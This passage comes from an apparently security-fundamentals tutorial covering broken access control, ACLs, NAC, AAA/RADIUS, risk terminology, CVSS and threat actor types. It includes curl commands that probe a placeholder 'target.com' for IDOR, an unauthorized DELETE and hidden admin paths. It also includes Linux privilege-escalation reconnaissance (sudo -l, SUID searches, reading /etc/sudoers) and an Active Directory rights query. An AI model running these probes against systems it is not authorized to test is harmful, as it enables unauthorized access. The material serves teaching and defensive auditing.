&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Centralised policy engine evaluates access requests in real-time
Example: Open Policy Agent (OPA)

Decouples policy from code:
  Application asks OPA: "Can user X do action Y on resource Z?"
  OPA evaluates policies, returns: allow/deny + reason

Used in: Kubernetes admission control, API gateways, microservices
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.3 Broken Authorization — OWASP Top 10
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Broken Access Control is the #1 OWASP vulnerability (2021, 2023)

Common Broken Authorisation Patterns:

IDOR (Insecure Direct Object Reference):
  URL: /api/user/12345/profile
  Attacker changes to: /api/user/12346/profile
  → Access to another user's data
  Defence: Check that authenticated user owns resource 12346

Privilege Escalation — Vertical:
  Regular user accesses admin function
  URL: /admin/delete_user?id=5
  No check that user is admin → any user can delete users

Privilege Escalation — Horizontal:
  User A accesses User B's data
  Same privilege level, different account

Missing Function-Level Access Control:
  Frontend hides admin menu from non-admins
  But /admin/users endpoint is not protected server-side
  Attacker discovers URL → full access

Forced Browsing:
  /reports/financial/2024/q4.pdf is protected
  /reports/financial/2023/q4.pdf is not
  Attacker traverses to find unprotected resources
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Testing authorisation controls:&lt;/span&gt;

&lt;span class="c"&gt;# Check for IDOR manually:&lt;/span&gt;
&lt;span class="c"&gt;# Identify user-owned resource ID in URL/response&lt;/span&gt;
&lt;span class="c"&gt;# Authenticate as different user, attempt to access first user's resource&lt;/span&gt;
curl &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Cookie: session=user2_session"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    https://target.com/api/users/USER1_ID/data
&lt;span class="c"&gt;# If returns user1's data: IDOR vulnerability&lt;/span&gt;

&lt;span class="c"&gt;# Test for privilege escalation via HTTP method:&lt;/span&gt;
&lt;span class="c"&gt;# Many apps check GET but not POST/PUT/DELETE&lt;/span&gt;
curl &lt;span class="nt"&gt;-X&lt;/span&gt; DELETE https://target.com/api/admin/users/5 &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Cookie: regular_user_session"&lt;/span&gt;
&lt;span class="c"&gt;# If succeeds: missing authorisation check on DELETE method&lt;/span&gt;

&lt;span class="c"&gt;# Test for parameter manipulation:&lt;/span&gt;
curl &lt;span class="s2"&gt;"https://target.com/api/invoice?user_id=YOUR_ID&amp;amp;invoice_id=INVOICE_ID"&lt;/span&gt;
&lt;span class="c"&gt;# Change user_id to another user's ID&lt;/span&gt;
&lt;span class="c"&gt;# If returns their invoice: IDOR&lt;/span&gt;

&lt;span class="c"&gt;# Check for directory traversal (forced browsing):&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;path &lt;span class="k"&gt;in&lt;/span&gt; /admin /administrator /manager /api/admin /api/internal&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
    &lt;/span&gt;&lt;span class="nv"&gt;code&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; /dev/null &lt;span class="nt"&gt;-w&lt;/span&gt; &lt;span class="s2"&gt;"%{http_code}"&lt;/span&gt; &lt;span class="s2"&gt;"https://target.com&lt;/span&gt;&lt;span class="nv"&gt;$path&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
    &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$code&lt;/span&gt;&lt;span class="s2"&gt;: https://target.com&lt;/span&gt;&lt;span class="nv"&gt;$path&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;span class="c"&gt;# 200 on admin paths without admin login = authorisation failure&lt;/span&gt;

&lt;span class="c"&gt;# Linux authorisation check:&lt;/span&gt;
&lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;                             &lt;span class="c"&gt;# What can current user sudo?&lt;/span&gt;
&lt;span class="nb"&gt;id&lt;/span&gt;                                  &lt;span class="c"&gt;# Current user, groups, capabilities&lt;/span&gt;
find / &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-4000&lt;/span&gt; 2&amp;gt;/dev/null     &lt;span class="c"&gt;# SUID files (run as owner, not as self)&lt;/span&gt;
find / &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-2000&lt;/span&gt; 2&amp;gt;/dev/null     &lt;span class="c"&gt;# SGID files&lt;/span&gt;
&lt;span class="c"&gt;# SUID on non-standard binaries = privilege escalation opportunity&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; Authentication proves identity; authorisation enforces what that identity can do. Broken access control (authorisation failure) is consistently the most common vulnerability class in web applications. The root cause is almost always the same: trusting client-supplied data (user IDs, role indicators) without server-side verification. Every access control check must happen on the server, every time, for every request.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  5. Access Control — Enforcing Decisions
&lt;/h2&gt;

&lt;h3&gt;
  
  
  5.1 Access Control as the Enforcement Layer
&lt;/h3&gt;

&lt;p&gt;Access control is the mechanism that takes authentication + authorisation decisions and enforces them. It is the "gate" between subjects (users, processes, systems) and objects (files, databases, APIs, network services).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Access Control Components:

Subject: Entity requesting access (user, process, service)
Object:  Resource being accessed (file, database, API, network)
Reference Monitor: Policy enforcement mechanism
Policy: Rules defining what subjects may do to objects

Reference Monitor Requirements:
  1. Always invoked (cannot be bypassed)
  2. Tamperproof (cannot be modified)
  3. Small enough to be verified correct (formally verifiable)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.2 Access Control Lists (ACLs)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ACL: a list attached to an object defining which subjects have which permissions

File system ACL example &lt;span class="o"&gt;(&lt;/span&gt;Linux extended ACL&lt;span class="o"&gt;)&lt;/span&gt;:
getfacl /var/data/sensitive.txt
&lt;span class="c"&gt;# file: /var/data/sensitive.txt&lt;/span&gt;
&lt;span class="c"&gt;# owner: root&lt;/span&gt;
&lt;span class="c"&gt;# group: finance&lt;/span&gt;
user::rw-           &lt;span class="c"&gt;# file owner: read, write&lt;/span&gt;
user:alice:rw-      &lt;span class="c"&gt;# alice: read, write&lt;/span&gt;
user:bob:r--        &lt;span class="c"&gt;# bob: read only&lt;/span&gt;
group::r--          &lt;span class="c"&gt;# finance group: read&lt;/span&gt;
group:security:rwx  &lt;span class="c"&gt;# security group: read, write, execute&lt;/span&gt;
mask::rwx           &lt;span class="c"&gt;# maximum effective permissions&lt;/span&gt;
other::---          &lt;span class="c"&gt;# everyone else: no access&lt;/span&gt;

&lt;span class="c"&gt;# Set ACL:&lt;/span&gt;
setfacl &lt;span class="nt"&gt;-m&lt;/span&gt; u:alice:rw /var/data/sensitive.txt
setfacl &lt;span class="nt"&gt;-m&lt;/span&gt; g:security:rwx /var/data/sensitive.txt
setfacl &lt;span class="nt"&gt;-x&lt;/span&gt; u:bob /var/data/sensitive.txt         &lt;span class="c"&gt;# Remove bob's entry&lt;/span&gt;

&lt;span class="c"&gt;# Windows ACL (DACL):&lt;/span&gt;
&lt;span class="c"&gt;# Get-Acl C:\Sensitive\file.txt | Format-List&lt;/span&gt;
&lt;span class="c"&gt;# icacls C:\Sensitive\file.txt&lt;/span&gt;
&lt;span class="c"&gt;# icacls C:\Sensitive\file.txt /grant alice:R&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.3 Network Access Control
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;NAC (Network Access Control): determines whether a device may connect to the network

Components:
  802.1X: port-based authentication
  RADIUS: AAA server that makes access decisions
  Supplicant: device software seeking access (Windows, macOS, Linux)
  Authenticator: network device enforcing decision (switch, AP)

802.1X Flow:
  Device plugs in → Switch port in unauthorised state
  Supplicant sends EAP identity
  Authenticator forwards to RADIUS
  RADIUS validates: credentials, device certificate, device health
  RADIUS returns: Access-Accept or Access-Reject
  Access-Accept: switch port moves to authorised state, VLAN assigned
  Access-Reject: device has no network access

Device health checks (NAC posture assessment):
  Is antivirus installed and up to date?
  Is OS patched to required level?
  Is disk encryption enabled?
  Is the device compliant with security policy?

If not compliant: quarantine VLAN (access to patching resources only)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Access control audit commands:&lt;/span&gt;

&lt;span class="c"&gt;# Linux filesystem permissions audit:&lt;/span&gt;
&lt;span class="c"&gt;# Find files/dirs with dangerous permissions:&lt;/span&gt;
find / &lt;span class="nt"&gt;-type&lt;/span&gt; f &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt;+w 2&amp;gt;/dev/null | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt;    &lt;span class="c"&gt;# World-writable files&lt;/span&gt;
find / &lt;span class="nt"&gt;-type&lt;/span&gt; d &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt;+w 2&amp;gt;/dev/null | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt;    &lt;span class="c"&gt;# World-writable directories&lt;/span&gt;
find / &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-4000&lt;/span&gt; 2&amp;gt;/dev/null                        &lt;span class="c"&gt;# SUID files&lt;/span&gt;
find / &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-2000&lt;/span&gt; 2&amp;gt;/dev/null                        &lt;span class="c"&gt;# SGID files&lt;/span&gt;

&lt;span class="c"&gt;# Check sudo configuration:&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/sudoers
&lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;                              &lt;span class="c"&gt;# Current user's sudo permissions&lt;/span&gt;
&lt;span class="c"&gt;# Look for: NOPASSWD: ALL (allows full sudo without password)&lt;/span&gt;
&lt;span class="c"&gt;# Look for: wildcard use in allowed commands&lt;/span&gt;

&lt;span class="c"&gt;# Windows: check who has local admin rights:&lt;/span&gt;
net localgroup administrators
&lt;span class="c"&gt;# Should be minimal: only IT admin accounts&lt;/span&gt;

&lt;span class="c"&gt;# Check for excessive AD privileges:&lt;/span&gt;
&lt;span class="c"&gt;# (requires BloodHound or similar)&lt;/span&gt;
&lt;span class="c"&gt;# Find users with DCSync rights:&lt;/span&gt;
&lt;span class="c"&gt;# Get-DomainObjectAcl -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -match "GenericAll|WriteOwner|WriteDacl"}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  6. AAA Model — Authentication, Authorization, Accounting
&lt;/h2&gt;

&lt;h3&gt;
  
  
  6.1 The Three As
&lt;/h3&gt;

&lt;p&gt;AAA (Authentication, Authorization, Accounting) is the security framework for controlling access to network resources and tracking that access.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Authentication: WHO are you? (verify identity)
Authorization:  WHAT can you do? (enforce policy)
Accounting:     WHAT DID you do? (record activity)

The three are inseparable for complete access control:
  Without Accounting: authorised access leaves no audit trail
  Without Authorization: all authenticated users have equal access
  Without Authentication: accounting cannot attribute actions to individuals
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.2 RADIUS — The AAA Protocol
&lt;/h3&gt;

&lt;p&gt;RADIUS (Remote Authentication Dial-In User Service, RFC 2865) is the most widely deployed AAA protocol.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;RADIUS Architecture:

Client (NAS):    Network Access Server — the device enforcing access
                 (VPN gateway, wireless AP, switch port, firewall)
RADIUS Server:   Policy engine — makes access decisions
User Directory:  Backend store (AD/LDAP, local database)

Protocol:
  Client → RADIUS Server: Access-Request (UDP 1812)
    Contains: username, hashed password (MD5 challenge-response), NAS info

  RADIUS Server → Client: Access-Accept, Access-Reject, or Access-Challenge

  Access-Accept may include attributes:
    Session-Timeout: how long the session may last
    Idle-Timeout: timeout if no activity
    Class: VLAN assignment
    Filter-Id: ACL to apply to the session

RADIUS Weakness:
  Password encrypted with MD5(PAP) — weak
  Accounting over UDP — can be spoofed

RADIUS/TLS (RadSec): RADIUS over TLS — addresses cleartext vulnerability
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.3 Accounting — The Audit Trail
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Accounting records what was accessed, when, by whom, for how long

Typical accounting record:
  Timestamp:     2024-05-29 10:15:32 UTC
  User:          jsmith@company.com
  Client IP:     192.168.1.5
  NAS-IP:        10.0.0.1 (the VPN gateway or switch)
  Action:        Authenticated successfully
  Session-Time:  3600 seconds
  Bytes-In:      15,234,567
  Bytes-Out:     892,345
  Termination:   User-Request

SIEM Integration:
  RADIUS accounting → SIEM
  Correlate: login at unusual time, login from unusual location,
             excessive data transfer, concurrent sessions from different IPs

Alert rules:
  User authenticated from 2 different countries within 2 hours (impossible travel)
  Data transfer &amp;gt; 1GB in single session (possible exfiltration)
  Failed authentication followed by success from different IP (credential spray → success)
  Authentication outside business hours for non-privileged user
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# AAA implementation examples:&lt;/span&gt;

&lt;span class="c"&gt;# FreeRADIUS server (Linux):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;freeradius
&lt;span class="c"&gt;# Config: /etc/freeradius/3.0/users&lt;/span&gt;
&lt;span class="c"&gt;# Test user: echo "testuser Cleartext-Password := 'testpassword'" &amp;gt;&amp;gt; /etc/freeradius/3.0/users&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl start freeradius
radtest testuser testpassword localhost 0 testing123  &lt;span class="c"&gt;# Test auth&lt;/span&gt;

&lt;span class="c"&gt;# Verify RADIUS authentication from network device:&lt;/span&gt;
radtest username password radius_server_ip 0 shared_secret
&lt;span class="c"&gt;# Expected: Received Access-Accept (success)&lt;/span&gt;

&lt;span class="c"&gt;# Analyse RADIUS accounting logs:&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /var/log/freeradius/radacct/&lt;span class="k"&gt;*&lt;/span&gt;/detail | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-A10&lt;/span&gt; &lt;span class="s2"&gt;"Acct-Status-Type = Start"&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"User-Name&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;Framed-IP&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;Acct-Session-Time"&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-30&lt;/span&gt;

&lt;span class="c"&gt;# Check sudo accounting (Linux):&lt;/span&gt;
&lt;span class="c"&gt;# Enable sudo logging:&lt;/span&gt;
&lt;span class="c"&gt;# /etc/sudoers: Defaults logfile="/var/log/sudo.log"&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /var/log/sudo.log | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"COMMAND"&lt;/span&gt;
&lt;span class="c"&gt;# Shows: who ran what command with sudo, when, from where&lt;/span&gt;

&lt;span class="c"&gt;# Windows accounting via Security event log:&lt;/span&gt;
&lt;span class="c"&gt;# Event 4624: Successful logon&lt;/span&gt;
&lt;span class="c"&gt;# Event 4625: Failed logon&lt;/span&gt;
&lt;span class="c"&gt;# Event 4647: User-initiated logoff&lt;/span&gt;
&lt;span class="c"&gt;# Event 4648: Logon with explicit credentials&lt;/span&gt;
&lt;span class="c"&gt;# Event 4662: Object access&lt;/span&gt;
&lt;span class="c"&gt;# Event 4688: Process creation (with command line if enabled)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;AAA in OT/ICS:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;NERC CIP Requirements (North American power grid):
  CIP-004: Personnel training and access management
  CIP-007: Systems security management (authentication controls)

  Specifically requires:
  - Individual user accounts (no shared accounts for privileged access)
  - Password policies
  - Access logging and review

IEC 62443 (industrial cybersecurity standard):
  Security Level 2 (default target): Requires authentication for all access
  Security Level 3 (high): Requires MFA for privileged access
  Accounting: All access to BES (Bulk Electric System) must be logged

Common OT failure:
  Shared "operator" account → no individual accountability
  If something goes wrong (deliberate or accidental), cannot attribute
  Insider threat: no way to know who made changes

Solution: even if field devices cannot authenticate individually,
  require authentication at the boundary (jump server, HMI login)
  and log all sessions with session recording
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; Accounting is the pillar most often neglected — authentication and authorisation receive attention, logging is treated as optional. This is backwards: without accounting, you cannot detect breaches, cannot investigate incidents, cannot prove compliance, and cannot learn from security events. Comprehensive, tamper-resistant logging is not optional — it is the difference between a recoverable incident and an unexplained mystery.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  7. Risk, Threat, Vulnerability, Attack — Precise Definitions
&lt;/h2&gt;

&lt;h3&gt;
  
  
  7.1 Why Precise Terminology Matters
&lt;/h3&gt;

&lt;p&gt;These four terms are routinely confused and misused — in vendor marketing, in management meetings, and sometimes in security documentation. Using them incorrectly leads to misallocated resources, wrong priorities, and misunderstood risk posture.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Definitions:

VULNERABILITY: A weakness in a system, process, or control
  Examples:
  - Unpatched software (CVE-2017-0144 / EternalBlue)
  - Default password on router
  - Missing input validation in web application
  - Unlocked server room door
  - Employee who will click phishing links

THREAT: A potential cause of harm — an actor, event, or circumstance
  Examples:
  - Ransomware group targeting healthcare
  - Disgruntled employee with access
  - Nation-state APT with persistent presence
  - Hurricane disrupting data centre
  - Power outage

RISK: The probability that a threat will exploit a vulnerability, causing impact
  Risk = f(Threat, Vulnerability, Impact)

  More precisely:
  Risk = Threat Likelihood × Vulnerability Exploitability × Impact Severity

  If any factor is zero, risk is zero:
  No threat: vulnerability exists but nobody cares → low risk
  No vulnerability: threat exists but system has no weaknesses → low risk
  No impact: system compromised but contains nothing of value → low risk

ATTACK: A threat actor actually exploiting a vulnerability
  An attack is a threat becoming real
  Not all vulnerabilities are attacked
  Not all threats execute attacks
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.2 The Risk Formula
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Qualitative Risk Assessment:

Likelihood      × Impact       = Risk Level
High (3)        × High (3)     = Critical (9)
High (3)        × Medium (2)   = High (6)
Medium (2)      × High (3)     = High (6)
Medium (2)      × Medium (2)   = Medium (4)
Low (1)         × High (3)     = Medium (3)
Low (1)         × Low (1)      = Low (1)

Quantitative Risk Assessment (FAIR methodology):
  Asset Value (AV): monetary value of what's at risk
  Threat Event Frequency (TEF): how often the threat occurs
  Vulnerability (V): probability of exploitation if threat occurs
  Loss Magnitude (LM): impact if successful

  Annualised Loss Expectancy (ALE) = TEF × V × LM

Example:
  Database breach risk:
  TEF = 2 per year (two significant attacks expected)
  V = 0.3 (30% chance of success if attacked)
  LM = $500,000 (cost of breach: notification, legal, remediation)
  ALE = 2 × 0.3 × $500,000 = $300,000/year

  Spend up to $300,000/year on controls that prevent the breach
  Spending $1,000,000/year to prevent a $300,000 risk = poor risk management
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.3 Vulnerability Scoring — CVSS
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CVSS (Common Vulnerability Scoring System) quantifies vulnerability severity

CVSS v3.1 Base Metrics:

Attack Vector (AV):
  Network (N):    Exploitable remotely (worst)
  Adjacent (A):   Must be on same network
  Local (L):      Must have local access
  Physical (P):   Requires physical access (least severe for remote attack)

Attack Complexity (AC):
  Low (L):        No special conditions needed
  High (H):       Specific conditions required (race condition, non-default config)

Privileges Required (PR):
  None (N):       No authentication needed (most severe)
  Low (L):        Regular user
  High (H):       Admin/root

User Interaction (UI):
  None (N):       No user action needed
  Required (R):   Victim must take action

Scope (S):
  Unchanged (U):  Impact contained to vulnerable component
  Changed (C):    Impact extends beyond vulnerable component

Confidentiality / Integrity / Availability Impact:
  None (N) / Low (L) / High (H)

CVSS Score Ranges:
  0.0:     None
  0.1-3.9: Low
  4.0-6.9: Medium
  7.0-8.9: High
  9.0-10.0: Critical

Examples:
  EternalBlue (MS17-010): CVSS 9.8 (Critical) — Network, Low complexity, No auth
  Log4Shell (CVE-2021-44228): CVSS 10.0 (Critical) — Network, Low, None auth, Changed scope
  Local privilege escalation typical: CVSS 7.8 (High) — Local access required
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Vulnerability management workflow:&lt;/span&gt;

&lt;span class="c"&gt;# Check for CVEs in installed packages (Linux):&lt;/span&gt;
&lt;span class="c"&gt;# Debian/Ubuntu:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt list &lt;span class="nt"&gt;--installed&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-oE&lt;/span&gt; &lt;span class="s2"&gt;"^[^/]+"&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
    xargs dpkg &lt;span class="nt"&gt;-s&lt;/span&gt; 2&amp;gt;/dev/null | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"Version&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;Package"&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nb"&gt;paste&lt;/span&gt; - - | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $2, $4}'&lt;/span&gt;
&lt;span class="c"&gt;# Then cross-reference against CVE databases&lt;/span&gt;

&lt;span class="c"&gt;# Trivy (container/system vulnerability scanner):&lt;/span&gt;
trivy image nginx:latest             &lt;span class="c"&gt;# Scan container image&lt;/span&gt;
trivy fs /                           &lt;span class="c"&gt;# Scan filesystem&lt;/span&gt;
trivy &lt;span class="nt"&gt;--severity&lt;/span&gt; HIGH,CRITICAL fs /  &lt;span class="c"&gt;# Only high/critical&lt;/span&gt;

&lt;span class="c"&gt;# OpenVAS / GVM (vulnerability scanner):&lt;/span&gt;
gvm-cli socket &lt;span class="nt"&gt;--xml&lt;/span&gt; &lt;span class="s2"&gt;"&amp;lt;get_tasks/&amp;gt;"&lt;/span&gt;  &lt;span class="c"&gt;# List scheduled scans&lt;/span&gt;

&lt;span class="c"&gt;# Check specific CVE status:&lt;/span&gt;
&lt;span class="c"&gt;# CVE database API:&lt;/span&gt;
curl &lt;span class="s2"&gt;"https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2021-44228"&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
    python3 &lt;span class="nt"&gt;-m&lt;/span&gt; json.tool | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-A5&lt;/span&gt; &lt;span class="s2"&gt;"cvssMetricV3"&lt;/span&gt;

&lt;span class="c"&gt;# Risk prioritisation script:&lt;/span&gt;
python3 &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
vulnerabilities = [
    {"cve": "CVE-2021-44228", "cvss": 10.0, "exploited": True, "systems": 50},
    {"cve": "CVE-2022-30190", "cvss": 7.8,  "exploited": True, "systems": 200},
    {"cve": "CVE-2020-1472",  "cvss": 10.0, "exploited": True, "systems": 1},
    {"cve": "CVE-2023-12345", "cvss": 5.0,  "exploited": False, "systems": 100},
]

# Risk score = CVSS × (2 if actively exploited) × log(systems affected)
import math
for v in vulnerabilities:
    score = v["cvss"] * (2 if v["exploited"] else 1) * math.log(v["systems"] + 1)
    print(f"{v['cve']}: CVSS={v['cvss']}, Risk Score={score:.1f}")

# Sort by risk score to prioritise patching
vulnerabilities.sort(key=lambda x: x["cvss"] * (2 if x["exploited"] else 1) * math.log(x["systems"] + 1), reverse=True)
print("&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;Patching Priority:")
for i, v in enumerate(vulnerabilities, 1):
    print(f"  {i}. {v['cve']} (CVSS {v['cvss']}, {'ACTIVELY EXPLOITED' if v['exploited'] else 'not exploited'})")
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; Risk is the product of threat × vulnerability × impact — reducing any factor reduces risk. The key insight for resource allocation: patching the highest-CVSS vulnerability affecting only one system may be lower priority than patching a medium-CVSS vulnerability affecting 500 critical systems that is being actively exploited. Risk prioritisation, not CVSS score alone, should drive remediation order.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  8. Threat Actor Types
&lt;/h2&gt;

&lt;h3&gt;
  
  
  8.1 Why Threat Actor Classification Matters
&lt;/h3&gt;

&lt;p&gt;Different threat actors have different capabilities, motivations, resources, and targets. Knowing who is most likely to target you changes how you defend — against a ransomware group, patch management and backups are critical; against a nation-state APT, focus shifts to detection and containment since prevention alone is insufficient.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Threat Actor Taxonomy:

┌──────────────────┬──────────────┬───────────────┬──────────────────────────┐
│ Actor Type       │ Motivation   │ Capability    │ Primary Targets          │
├──────────────────┼──────────────┼───────────────┼──────────────────────────┤
│ Nation-State APT │ Espionage,   │ Highest       │ Government, Defence,     │
│                  │ Sabotage,    │               │ Critical Infrastructure,  │
│                  │ Disruption   │               │ Technology companies     │
├──────────────────┼──────────────┼───────────────┼──────────────────────────┤
│ Cybercriminals   │ Financial    │ High          │ Any profitable target:   │
│ (organised)      │ gain         │               │ Finance, Healthcare,     │
│                  │              │               │ Retail, all sectors      │
├──────────────────┼──────────────┼───────────────┼──────────────────────────┤
│ Ransomware       │ Extortion    │ High          │ Any organisation that    │
│ Groups           │              │               │ cannot afford downtime   │
│                  │              │               │ (hospitals, utilities)   │
├──────────────────┼──────────────┼───────────────┼──────────────────────────┤
│ Insider Threats  │ Varies:      │ Variable      │ Own employer             │
│                  │ Financial,   │ (privileged   │                          │
│                  │ Revenge,     │ access)       │                          │
│                  │ Ideology     │               │                          │
├──────────────────┼──────────────┼───────────────┼──────────────────────────┤
│ Hacktivists      │ Political,   │ Medium        │ Organisations they       │
│                  │ Social       │               │ disagree with ideologically│
├──────────────────┼──────────────┼───────────────┼──────────────────────────┤
│ Script Kiddies   │ Curiosity,   │ Low           │ Opportunistic, easy      │
│                  │ Reputation   │               │ targets, not targeted    │
├──────────────────┼──────────────┼───────────────┼──────────────────────────┤
│ Competitors      │ Corporate    │ Variable      │ Industry competitors     │
│                  │ espionage    │               │                          │
└──────────────────┴──────────────┴───────────────┴──────────────────────────┘
